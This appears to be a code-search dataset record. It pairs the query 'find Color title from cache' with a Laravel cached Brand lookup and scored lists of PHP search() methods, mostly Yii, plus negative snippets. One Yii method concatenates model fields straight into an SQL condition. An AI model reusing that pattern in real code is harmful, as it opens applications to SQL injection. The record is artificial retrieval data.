"public function search()\n\t{\n\t\t// should not be searched.\n\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('issue_date', $this->issue_date, true);\n\n\t\treturn new CActiveDataProvider($this, array('criteria' => $criteria,));\n\t}",
"public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('hol_id', $this->hol_id);\n $criteria->compare('loc_id', $this->loc_id);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search($params)\n {\n $this->__search($params);\n\n // grid filtering conditions\n $this->query\n\t ->andFilterWhere(['id' => $this->id])\n\t ->andFilterWhere(['like', 'description', $this->description])\n ->andFilterWhere(['like', 'type', $this->type]);\n\n return $this->dataProvider;\n }",
"public function search()\r\n\t{\r\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\r\n\r\n\t\t$criteria = new CDbCriteria;\r\n\r\n\t\t$criteria->compare('doc_num', $this->doc_num, true);\r\n\t\t$criteria->compare('doc_num2', $this->doc_num2);\r\n\t\t$criteria->compare('doc_date', $this->doc_date, true);\r\n\r\n\t\treturn new CActiveDataProvider($this, array(\r\n\t\t\t'criteria' => $criteria,\r\n\t\t));\r\n\t}",
"public function search()\n {\n $criteria = new CDbCriteria();\n\n $criteria->compare('productCategoryId', $this->productCategoryId, true);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('level', $this->level);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search() {\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('id', $this->id);\n\t\t$criteria->compare('name', $this->name, true);\n\t\t$criteria->compare('wikilink', $this->wikilink, true);\n\t\t$criteria->compare('picture', $this->picture, true);\n\t\t$criteria->compare('score', $this->score);\n\t\t$criteria->compare('modification_date', $this->modification_date, true);\n\t\t$criteria->compare('featured', $this->featured);\n\t\t$criteria->compare('users_found', $this->users_found);\n\t\t$criteria->compare('gpsdata', $this->gpsdata);\n\t\t$criteria->compare('category', $this->category);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria' => $criteria,\n\t\t));\n\t}",
"public function scopeSearch($query){\n if (request()->has('search_query') && !empty(request()->search_query) && request()->has('search_columns') && !empty(request()->search_columns) ) {\n \t$query = $this->getQuery($query , request()->search_columns , request()->search_query );\n }else{\n \tif (request()->has('search_query') && !empty(request()->search_query)) {\n \t\t$query = $this->getQuery($query , $this->fillable , request()->search_query );\n \t}\n }\n\n \n \n \n \n \n return $query;\n }",
"public function search()\n {\n $criteria=new CDbCriteria;\n\n $criteria->compare('id',$this->id);\n $criteria->compare('title',$this->title,true);\n $criteria->compare('text',$this->text,true);\n $criteria->compare('author_id',$this->author_id);\n $criteria->compare('editor_id',$this->editor_id);\n $criteria->compare('crated_at',$this->crated_at,true);\n $criteria->compare('edited_at',$this->edited_at,true);\n $criteria->compare('publish_at',$this->publich_at,true);\n\n return new CActiveDataProvider($this, array(\n 'criteria'=>$criteria,\n ));\n }",
"public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('name',$this->name,true);\n\t\t$criteria->compare('date_start',$this->date_start,true);\n\t\t$criteria->compare('date_end',$this->date_end,true);\n\t\t$criteria->compare('count_attempt',$this->count_attempt);\n\t\t$criteria->compare('count_questions',$this->count_questions);\n\t\t$criteria->compare('description',$this->description,true);\n\t\t$criteria->compare('date_create',$this->date_create,true);\n\t\t$criteria->compare('author',$this->author,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}",
"public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('name',$this->name,true);\n\t\t$criteria->compare('latitud',$this->latitud,true);\n\t\t$criteria->compare('longitud',$this->longitud,true);\n\t\t$criteria->compare('telefono',$this->telefono,true);\n\t\t$criteria->compare('direccion',$this->direccion,true);\n\t\t$criteria->compare('web',$this->web,true);\n\t\t$criteria->compare('activo',$this->activo);\n\t\t$criteria->compare('userId',$this->userId);\n\t\t$criteria->compare('ratingGeneral',$this->ratingGeneral);\n\t\t$criteria->compare('youtubeUrl',$this->youtubeUrl,true);\n\t\t$criteria->compare('esDestacado',$this->esDestacado);\n\t\t$criteria->compare('aprobado',$this->aprobado);\n $criteria->compare('regionId',$this->regionId);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}",
"public function search()\n\t{\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('id_user',$this->id_user);\n\t\t$criteria->compare('id_answer',$this->id_answer);\n\t\t$criteria->compare('mark',$this->mark);\n\t\t$criteria->compare('comment',$this->comment,true);\n\t\t$criteria->compare('time',$this->time,true);\n\t\t$criteria->compare('read_mark',$this->read_mark,true);\n\t\t$criteria->compare('marked_by',$this->marked_by,true);\n\t\t\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}",
"public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n// $criteria->compare('name', $this->name, true);\n $criteria->compare('description', $this->description, true);\n// $criteria->compare('alias', $this->alias, true);\n// $criteria->compare('module', $this->module, true);\n $criteria->compare('crud', $this->crud, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('ID',$this->ID);\n\t\t$criteria->compare('UserID',$this->UserID);\n\t\t$criteria->compare('ProviderID',$this->ProviderID);\n\t\t$criteria->compare('Date',$this->Date,true);\n\t\t$criteria->compare('RawID',$this->RawID);\n\t\t$criteria->compare('Document',$this->Document,true);\n\t\t$criteria->compare('State',$this->State,true);\n\t\t$criteria->compare('Temperature',$this->Temperature,true);\n\t\t$criteria->compare('Conditions',$this->Conditions,true);\n\t\t$criteria->compare('Expiration',$this->Expiration,true);\n\t\t$criteria->compare('Comments',$this->Comments,true);\n\t\t$criteria->compare('Quantity',$this->Quantity,true);\n\t\t$criteria->compare('Type',$this->Type,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t\t'pagination'=>array(\n \t'pageSize'=>Yii::app()->params['defaultPageSize'], \n ),\n\t\t));\n\t}",
"public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id,true);\n\t\t$criteria->compare('sn',$this->sn,true);\n\t\t$criteria->compare('fn',$this->fn,true);\n\t\t$criteria->compare('region',$this->region);\n\t\t$criteria->compare('postal',$this->postal,true);\n\t\t$criteria->compare('inn',$this->inn,true);\n\t\t$criteria->compare('ogrn',$this->ogrn,true);\n\t\t$criteria->compare('okpo',$this->okpo,true);\n\t\t$criteria->compare('adress',$this->adress,true);\n\t\t$criteria->compare('tel',$this->tel,true);\n\t\t$criteria->compare('fax',$this->fax,true);\n\t\t$criteria->compare('okved',$this->okved,true);\n\t\t$criteria->compare('oid',$this->oid,true);\n\t\t$criteria->compare('hits',$this->hits);\n\t\t$criteria->compare('st',$this->st);\n\t\t$criteria->compare('alias',$this->alias,true);\n\t\t$criteria->compare('alias2',$this->alias2,true);\n\t\t$criteria->compare('alias3',$this->alias3,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}",
"public function search()\n {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('cardid', $this->cardid, true);\n $criteria->compare('subclassid', $this->subclassid, true);\n $criteria->compare('cardname', $this->cardname, true);\n\n return new ActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id, true);\n $criteria->compare('pid', $this->pid, true);\n $criteria->compare('userName', $this->userName, true);\n $criteria->compare('userEmail', $this->userEmail, true);\n $criteria->compare('text', $this->text, true);\n $criteria->compare('userId', $this->userId, true);\n $criteria->compare('visibility', $this->visibility);\n $criteria->compare('date', $this->date, true);\n $criteria->compare('type', $this->type, true);\n $criteria->compare('recordId', $this->recordId, true);\n $criteria->compare('info', $this->info, true);\n $criteria->compare('new', $this->new, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('user', $this->user, true);\n $criteria->compare('amount', $this->amount);\n $criteria->compare('currency', $this->currency, true);\n $criteria->compare('valid_from', $this->valid_from, true);\n $criteria->compare('valid_to', $this->valid_to, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search () {\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('id', $this->id);\n\t\t$criteria->compare('title', $this->title, true);\n\t\t$criteria->compare('description', $this->description, true);\n\t\t$criteria->compare('type', $this->type);\n\t\t$criteria->compare('required', $this->required);\n\t\t$criteria->compare('cId', $this->cId);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t 'criteria' => $criteria,\n\t\t ));\n\t}",
"private function new_search()\n {\n $this->template = FALSE;\n \n $articulo = new articulo();\n $codfamilia = '';\n if( isset($_REQUEST['codfamilia']) )\n {\n $codfamilia = $_REQUEST['codfamilia'];\n }\n \n $con_stock = isset($_REQUEST['con_stock']);\n $this->results = $articulo->search($this->query, 0, $codfamilia, $con_stock);\n \n /// añadimos la busqueda\n foreach($this->results as $i => $value)\n {\n $this->results[$i]->query = $this->query;\n $this->results[$i]->dtopor = 0;\n }\n \n header('Content-Type: application/json');\n echo json_encode($this->results);\n }",
"public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('frequency_band',$this->frequency_band,true);\n\n\t\t$criteria->compare('date_of_issue',$this->date_of_issue,true);\n\n\t\t$criteria->compare('date_of_renewal',$this->date_of_renewal,true);\n\n\t\t$criteria->compare('emission',$this->emission,true);\n\n\t\t$criteria->compare('tolerance',$this->tolerance,true);\n\n\t\t$criteria->compare('application_vsat_id',$this->application_vsat_id,true);\n\n\t\treturn new CActiveDataProvider(get_class($this), array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}",
"public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\t\t/*\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id,true);\n\t\t$criteria->compare('name',$this->name,true);\n\t\t$criteria->compare('percent_discount',$this->percent_discount,true);\n\t\t$criteria->compare('taxable',$this->taxable);\n\t\t$criteria->compare('id_user_created',$this->id_user_created);\n\t\t$criteria->compare('id_user_modified',$this->id_user_modified);\n\t\t$criteria->compare('date_created',$this->date_created,true);\n\t\t$criteria->compare('date_modified',$this->date_modified,true);\n\n\t\treturn new CActiveDataProvider(get_class($this), array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t\t*/\n\t}",
"public function search() {\n // Warning: Please modify the following code to remove attributes that\n // should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('first_name', $this->first_name, true);\n $criteria->compare('last_name', $this->last_name, true);\n $criteria->compare('address', $this->address, true);\n $criteria->compare('contact_number', $this->contact_number, true);\n $criteria->compare('city', $this->city, true);\n $criteria->compare('gender', $this->gender, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria = new CDbCriteria;\n\t\t$criteria->select = 'createDate, employeeId';\n\t\t$criteria->distinct = true;\n\t\t$criteria->addCondition('employeeId=\"' . $this->employeeId . '\" AND createDate between \"' . $this->startDate . '\" AND \"' . $this->endDate . '\"');\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria' => $criteria,\n\t\t));\n\t}"
] | [
"0.7773856",
"0.674291",
"0.65721744",
"0.6503215",
"0.6472826",
"0.6389071",
"0.63745373",
"0.6287255",
"0.62671757",
"0.62457365",
"0.62425256",
"0.62123144",
"0.61969537",
"0.6172912",
"0.61250603",
"0.6123412",
"0.6116283",
"0.61031115",
"0.6101092",
"0.608637",
"0.6081774",
"0.6081262",
"0.6073599",
"0.60723656",
"0.60405684",
"0.6040201",
"0.6035497",
"0.60331875",
"0.60318124",
"0.60199106",
"0.6013893",
"0.5998194",
"0.59764904",
"0.59671843",
"0.59620416",
"0.59579474",
"0.59551156",
"0.5941564",
"0.5935285",
"0.590389",
"0.5899341",
"0.5895071",
"0.5894937",
"0.5888715",
"0.58834034",
"0.5882613",
"0.58762497",
"0.58638185",
"0.5860362",
"0.5846486",
"0.58438134",
"0.5839541",
"0.5829547",
"0.5825096",
"0.5821819",
"0.5821492",
"0.5816446",
"0.5815201",
"0.58059967",
"0.58025193",
"0.57952476",
"0.5785819",
"0.57808983",
"0.57782406",
"0.57766914",
"0.5775805",
"0.57744527",
"0.57744527",
"0.57744527",
"0.57722074",
"0.5771512",
"0.5770783",
"0.5769345",
"0.57683945",
"0.57675093",
"0.576178",
"0.57557786",
"0.5747564",
"0.5746954",
"0.5745489",
"0.5741678",
"0.57375383",
"0.57335705",
"0.57302207",
"0.57280165",
"0.5726227",
"0.57238483",
"0.57218784",
"0.5715393",
"0.57136387",
"0.5713353",
"0.5711261",
"0.5710481",
"0.571002",
"0.57075536",
"0.57075375",
"0.57060134",
"0.5704971",
"0.5703576",
"0.57000446",
"0.5696112"
] | 0.0 | -1 |
find Color title from cache | public function find($id, array $select)
{
$key = "find.{$id}";
$cacheKey = $this->getCacheKey($key);
try {
return cache()->remember($cacheKey, Carbon::now()->addDay(5), function () use ($select,$id) {
return Brand::where('id',$id)->select('title')->first();
});
} catch (\Exception $e) {
return $e->getMessage();
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function wpvideocoach_get_introduction_title_color()\r\n{\r\n\tglobal $wpvideocoach_introduction_title_color;\r\n\tif(empty($wpvideocoach_introduction_title_color)){\r\n\t\t$wpvideocoach_introduction_title_color = '#000';\r\n\t}\r\n\treturn $wpvideocoach_introduction_title_color;\r\n}",
"public static function GetInfo($color)\n {\n if(!self::isReady())\n throw new Exception('colors are not ready to use. please run ColorName::Prepare() first; : ' . $color); \n\n /* if(is_array($color)) \n $color = self::hex_me($color); */\n\n $color = self::fix_code($color);\n\n $hsl = self::GetHsl($color);\n $rgb = self::GetRgb($color);\n\n $df = -1;\n $cl = -1;\n\n $percent = 0; \n\n\n\n foreach (self::$colors as $i => $colorInfo)\n {\n if($color == $colorInfo->code)\n {\n $percent = 100;\n return $colorInfo;\n }\n\n $ndf1 = pow($rgb['r'] - $colorInfo->r, 2) + pow($rgb['g'] - $colorInfo->g, 2) + pow($rgb['b'] - $colorInfo->b, 2);\n $ndf2 = pow($hsl['h'] - $colorInfo->h, 2) + pow($hsl['s'] -$colorInfo->s, 2) + pow($hsl['l'] - $colorInfo->l, 2);\n $ndf = $ndf1 + $ndf2 * 2;\n if($df < 0 || $df > $ndf)\n {\n $df = $ndf;\n $cl = $i;\n if($df < 100)\n $percent = 100 - $df;\n else\n $percent = abs($df) % 100;\n } \n }\n\n if($cl < 0)\n throw new Exception('invalid color> : ' . $color,E_USER_WARNING);\n else\n {\n $colorInfo = self::$colors[$cl];\n $colorInfo->similarity = $percent;\n return $colorInfo;\n } \n\n #ide Hack.\n return new ColorInfo(); \n }",
"function GetContentColor()\n\t{\n\t\tif(isset($_GET[\"c\"]) && !empty($_GET[\"c\"]))\n\t\t{\n\t\t\tswitch($_GET[\"c\"])\n\t\t\t{\n\t\t\t case 1:\n\t\t\t\treturn \"black\";\n\t\t\tcase 2:\n\t\t\t\treturn \"red\";\n\t\t\tcase 3:\n\t\t\t\treturn \"green\";\n\t\t\tcase 4:\n\t\t\t\treturn \"yellow\";\n\t\t\tcase 5:\n\t\t\t\treturn \"blue\";\n\t\t\tcase 6:\n\t\t\t\treturn \"notimplemented\";\n\t\t\tdefault:\n\t\t\t\treturn \"white\";\n\t\t\t}\n\t\t}\n\n\t\treturn \"white\";\n\t}",
"function pl_header_color(){\n\t\n\t$color = ( pl_check_color_hash( ploption( 'headercolor' ) ) ) ? pl_hash_strip( ploption( 'headercolor' ) ) : '000000';\n\t\n\treturn $color;\t\n}",
"function getCaptionFontColor() {\n\t//Return a hex color code without #\n\t//FFC30C - Yellow Color\n return \"666666\";\n}",
"function pl_text_color(){\n\t\t\n\t$color = ( pl_check_color_hash( ploption( 'text_primary' ) ) ) ? pl_hash_strip( ploption( 'text_primary' ) ) : '000000';\n\n\treturn $color;\n}",
"function fetch_title($_url=\"\"){ \n if($_url&&$this-> fetch($_url)){\n $html = str_get_html($this-> html);\n return $html->find('title',0)->plaintext;\n }\n return false;\n }",
"function title( &$contentObjectAttribute )\r\n {\r\n $classAttribute =& $contentObjectAttribute->contentClassAttribute();\r\n $classContent = $classAttribute->content();\r\n $content = $contentObjectAttribute->content();\r\n $index = \"\";\r\n\r\n if( is_array( $classContent['pattern_selection'] ) and count( $classContent['pattern_selection'] ) > 0 )\r\n {\r\n $res = @preg_match( $classContent['regexp'], $content, $matches );\r\n\r\n if( $res !== false )\r\n {\r\n foreach( $classContent['pattern_selection'] as $patternIndex )\r\n {\r\n if( isset( $matches[$patternIndex] ) )\r\n {\r\n $index .= $matches[$patternIndex];\r\n }\r\n }\r\n }\r\n }\r\n else\r\n {\r\n $index = $content;\r\n }\r\n\r\n return $index;\r\n }",
"function get_const_title( $c )\n\t{\n\t\t$value = self::const_value( $c );\n\t\t$data = self::get_dump( $value );\n\t\treturn esc_attr( strip_tags( $data ) );\n\t}",
"public function getColorName()\n {\n return $this->color_name;\n }",
"function pl_link_color(){\n\t\n\t$color = ( pl_check_color_hash( ploption( 'linkcolor' ) ) ) ? pl_hash_strip( ploption( 'linkcolor' ) ) : '225E9B';\n\t\n\treturn $color;\t\n}",
"function getTitle($url) {\n $str = file_get_contents($url);\n /* RegEx erzeugt ein Array in dem Der Seitentitel auf Index 1 liegt */\n preg_match('/\\<title\\>(.*)\\<\\/title\\>/', $str, $title);\n /* Seitentitel aus Index 1 zurückgeben */\n return $title[1];\n }",
"function getColor($id)\n{\n $sql = \"SELECT * FROM colors WHERE id = '\" . sql_escape($id) . \"'\";\n $row = fetchOne($sql);\n return !empty($row) ? $row['name'] : null;\n}",
"public function getColor(): string;",
"public function getTextColor() {}",
"public function getTextColor() {}",
"public function getColorCodeName($id){\n\t\t$sql = \"select name from sy_color_codes where id=?\";\n\t\t$SyColorCode = $this->runRequest($sql, array($id));\n\t\tif ($SyColorCode->rowCount() == 1){\n\t\t\t$tmp = $SyColorCode->fetch();\n\t\t\treturn $tmp[0]; // get the first line of the result\n\t\t}\n\t\telse{\n\t\t\treturn \"\";\t\n\t\t}\n\t}",
"public function colorCodesName(){\n\t\t\t\n\t\t$sql = \"select name from sy_color_codes\";\n\t\t$SyColorCodes = $this->runRequest($sql);\n\t\treturn $SyColorCodes->fetchAll();\n\t}",
"private function get_title_img()\n {\n $this->char_count = count($this->strings);\n $this->init_img();\n $font_size = L_FONT_SIZE / $this->char_count;\n $img_y = (L_IMG_HEIGHT + $font_size) / 2;\n $this->create_img($this->string,$font_size,$img_y);\n }",
"function get_header_textcolor()\n {\n }",
"function getColorToBasket($comFulldesc)\n{\n if (isset($comFulldesc)) {\n $comDescString = str_replace(\" \", '',\n htmlspecialchars_decode($comFulldesc));\n }\n\n $needle = \"Цвет:\";\n $findColor = strstr($comDescString, $needle);\n if ($findColor !== false) {\n $wovels = array('Цвет:</span>', 'Цвет:');\n $comColor = str_replace($wovels, \"\", strstr($findColor, \"</p>\", true));\n } else {\n $comColor = \"Цвет как на фото\";\n }\n return $comColor;\n}",
"protected function _getAssetTitle()\n\t{\n\t\treturn $this->title;\n\t}",
"protected function _getAssetTitle()\n\t{\n\t\treturn $this->title;\n\t}",
"public function getFavColour();",
"function get_title($title) \n{\n global $scelus;\n return $title . (isset($scelus['title_append']) ? $scelus['title_append'] : null);\n}",
"function getColorInClear($color) {\n switch($color) {\n case 0:\n return clienttranslate('blue');\n case 1:\n return clienttranslate('red');\n case 2:\n return clienttranslate('green');\n case 3:\n return clienttranslate('yellow');\n case 4:\n return clienttranslate('purple');\n }\n }",
"public static function color(string $name)\n\t{\n\t\tinclude dirname(__DIR__) . '/definitions/definitions.php';\n\t\t\n\t\ttry {\n\t\t\treturn $__COLORS->{$name};\n\t\t} catch (\\Exception $e) {\n\t\t\tvar_export($e->getMessage());\n\t\t}\n\t}",
"public function getColor() {}",
"public function getColor() {}",
"function track_color($d) {\n if (substr($d['title'],0,7) == 'COFFEE ') return 'trz';\n if (substr($d['title'],0,6) == 'LUNCH ') return 'trz';\n if ($d['title'] == 'Poster Session') return 'trp';\n if (($d['day'] == 1 || $d['day'] == 2) && $d['type'] == 'l') return 'trl';\n if ($d['day'] == 4) return 'trz';\n if ($d['type'] == 'w') return 'trw';\n if ($d['type'] == 'c' && $d['starttime'] == '22:00' && $d['day'] == 3) return 'trmS';\n if ($d['type'] == 'c') return 'trm';\n if ($d['type'] == 'i') return 'tri';\n if ($d['type'] == 'v') return 'trp';\n if ($d['type'] != 'p') return 'tro';\n return 'tr0';\n }",
"function get_title()\n {\n }",
"function get_tag_color( $tag ) {\n $tag_color = get_tag_data( $tag , 'tag_color' );\n return $tag_color;\n}",
"function getTitle() ;",
"protected function _getAssetTitle()\n {\n return $this->title;\n }",
"protected function _getAssetTitle()\n {\n return $this->title;\n }",
"function get_title($url){\n\t$str = file_get_contents($url);\n\tif(strlen($str)>0){\n\t\t$str = trim(preg_replace('/\\s+/', ' ', $str)); // supports line breaks inside <title>\n\t\tpreg_match(\"/\\<title\\>(.*)\\<\\/title\\>/i\",$str,$title); // ignore case\n\t\treturn $title[1];\n\t}\n}",
"function pl_bg_color(){\n\t\n\tif( pl_check_color_hash( get_set_color( 'the_bg' ) ) )\n\t\treturn get_set_color( 'the_bg' );\n\telse \n\t\treturn 'FFFFFF';\t\n}",
"public function getColor();",
"public function getColor();",
"public function getColor();",
"public function getColor();",
"public static function colors()\n {\n $path = __DIR__ . '/output/colors_names.php';\n return file_exists($path) ? require $path : [];\n }",
"public function getColor()\n {\n if (array_key_exists(\"color\", $this->_propDict)) {\n return $this->_propDict[\"color\"];\n } else {\n return null;\n }\n }",
"private static function _find_icon($name) {\n if ($url = self::$_icon_cache[$name]) {\n return $url;\n }\n\n $filename = 'icon_' . $name . '.png';\n $path = Config::get('theme_path') . '/images/icons/';\n if (!file_exists(Config::get('prefix') . $path . $filename)) {\n $path = '/images/';\n }\n $url = Config::get('web_path') . $path . $filename;\n self::$_icon_cache[$name] = $url;\n\n return $url;\n }",
"public function getColor3()\n {\n $sql = \"SELECT color_hex\n FROM site_color where site_color_id = 3\";\n\n $statement = $this->_dbh->prepare($sql);\n\n// $statement->bindParam(':color3', $color3);\n $statement->execute();\n return $statement->fetchAll(PDO::FETCH_ASSOC);\n }",
"function edan_search_set_title( $title )\n {\n $options = new esw_options_handler();\n $cache = new esw_cache_handler();\n\n /**\n * if in the loop and the title is cached (or if object group is retrieved successfully)\n * modify the page title on display.\n */\n if(in_the_loop() && edan_search_name_from_url() == $options->get_path() && $options->get_title() != '')\n {\n if(get_query_var('edanUrl'))\n {\n $object = $cache->get()['object'];\n\n if($object)\n {\n if(property_exists($object, 'content') && property_exists($object->{'content'}, 'descriptiveNonRepeating'))\n {\n if(property_exists($object->{'content'}->{'descriptiveNonRepeating'}, 'title'))\n {\n $title = $object->{'content'}->{'descriptiveNonRepeating'}->{'title'}->{'content'};\n }\n }\n elseif(property_exists($object, 'title'))\n {\n if(property_exists($object->{'title'}, 'content'))\n {\n $title = $this->object->{'title'}->{'content'};\n }\n else\n {\n $title = $this->object->{'title'};\n }\n }\n }\n }\n else\n {\n $title = $options->get_title();\n }\n }\n\n return $title;\n }",
"public function getTitle(): string {\n\t\treturn Hash::get($this->_config, 'title');\n\t}",
"public function getIconColor(): ?string;",
"public function get_title();",
"private function generate_title()\r\n\t\t{\r\n\t\t\treturn $this->c_title;\r\n\t\t}",
"function maybe_hash_hex_color($color)\n {\n }",
"function get_the_title() {\n\n md_get_the_title();\n \n }",
"function getTitleArgos($link) {\r\n $html = file_get_contents($link);\r\n if(!empty($html))\r\n {\r\n $matchCount = preg_match('/<h1 class=\"fn\">(.*?)<\\/h1>/s', $html, $matches);\r\n\r\n if($matchCount != 0)\r\n {\r\n return $matches[1];\r\n }\r\n }\r\n }",
"public static function get_title_style() {\n\t\t$post_id = wpv_get_the_ID();\n\n\t\tif(!current_theme_supports('wpv-page-title-style') || is_null($post_id))\n\t\t\treturn;\n\n\t\t$bgcolor = wpv_sanitize_accent(wpv_post_meta($post_id, 'local-title-background-color', true));\n\t\t$bgimage = wpv_post_meta($post_id, 'local-title-background-image', true);\n\t\t$bgrepeat = wpv_post_meta($post_id, 'local-title-background-repeat', true);\n\t\t$bgsize = wpv_post_meta($post_id, 'local-title-background-size', true);\n\t\t$bgattachment = wpv_post_meta($post_id, 'local-title-background-attachment', true);\n\t\t$bgposition = wpv_post_meta($post_id, 'local-title-background-position', true);\n\n\t\t$style = '';\n\t\tif(!empty($bgcolor))\n\t\t\t$style .= \"background-color:$bgcolor;\";\n\t\tif(!empty($bgimage)) {\n\t\t\t$style .= \"background-image:url('$bgimage');\";\n\t\t\tif(!empty($bgrepeat))\n\t\t\t\t$style .= \"background-repeat:$bgrepeat;\";\n\t\t\tif(!empty($bgsize))\n\t\t\t\t$style .= \"background-size:$bgsize;\";\n\t\t}\n\n\t\treturn $style;\n\t}",
"public function getTitle() {\n\t\t// regex to extract the Highlighter out of the namespaced classname\n\t\t$reType = new Regex('\\\\\\\\?wcf\\\\\\\\system\\\\\\\\bbcode\\\\\\\\highlighter\\\\\\\\(.*)Highlighter', Regex::CASE_INSENSITIVE);\n\t\t\n\t\treturn WCF::getLanguage()->get('wcf.bbcode.code.'.$reType->replace(strtolower(get_class($this)), '\\1').'.title');\n\t}",
"public function getColor()\n {\n return self::QUALITY_MAP[$this->qualityID]['color'];\n }",
"public function convertNameToCssId()\n {\n return hash('adler32', $this->name);\n }",
"public function getColor()\n {\n return\"Yellow\";\n }",
"function wpvideocoach_get_introduction_text_color()\r\n{\r\n\tglobal $wpvideocoach_introduction_text_color;\r\n\tif(empty($wpvideocoach_introduction_text_color)){\r\n\t\t$wpvideocoach_introduction_text_color = '#000';\r\n\t}\r\n\treturn $wpvideocoach_introduction_text_color;\r\n}",
"function getColor() {return $this->readColor();}",
"public function parse_colors($text) {\r\n\t\r\n\t\t# Clear garbage\r\n\t\t$text = preg_replace('/[^\\r\\n\\t\\x20-\\x7E\\xA0-\\xFF]/', '', trim($text));\r\n\t\t\r\n\t\t# load first set..\r\n\t\t$switch = 1;\r\n\t\r\n\t\t# Check if there's a color..\r\n\t\tif (substr_count($text, '^')>0) {\r\n\t\t\r\n\t\t $clr = array ( // colors\r\n\t \"\\\"#000000\\\"\", \"\\\"#DA0120\\\"\", \"\\\"#00B906\\\"\", \"\\\"#E8FF19\\\"\", // 1\r\n\t \"\\\"#170BDB\\\"\", \"\\\"#23C2C6\\\"\", \"\\\"#E201DB\\\"\", \"\\\"#FFFFFF\\\"\", // 2\r\n\t \"\\\"#CA7C27\\\"\", \"\\\"#757575\\\"\", \"\\\"#EB9F53\\\"\", \"\\\"#106F59\\\"\", // 3\r\n\t \"\\\"#5A134F\\\"\", \"\\\"#035AFF\\\"\", \"\\\"#681EA7\\\"\", \"\\\"#5097C1\\\"\", // 4\r\n\t \"\\\"#BEDAC4\\\"\", \"\\\"#024D2C\\\"\", \"\\\"#7D081B\\\"\", \"\\\"#90243E\\\"\", // 5\r\n\t \"\\\"#743313\\\"\", \"\\\"#A7905E\\\"\", \"\\\"#555C26\\\"\", \"\\\"#AEAC97\\\"\", // 6\r\n\t \"\\\"#C0BF7F\\\"\", \"\\\"#000000\\\"\", \"\\\"#DA0120\\\"\", \"\\\"#00B906\\\"\", // 7\r\n\t \"\\\"#E8FF19\\\"\", \"\\\"#170BDB\\\"\", \"\\\"#23C2C6\\\"\", \"\\\"#E201DB\\\"\", // 8\r\n\t \"\\\"#FFFFFF\\\"\", \"\\\"#CA7C27\\\"\", \"\\\"#757575\\\"\", \"\\\"#CC8034\\\"\", // 9\r\n\t \"\\\"#DBDF70\\\"\", \"\\\"#BBBBBB\\\"\", \"\\\"#747228\\\"\", \"\\\"#993400\\\"\", // 10\r\n\t \"\\\"#670504\\\"\", \"\\\"#623307\\\"\" // 11\r\n );\r\n\r\n\t if ($switch == 1)\r\n\t { // colored string\r\n\t $search = array (\r\n\t \"/\\^0/\", 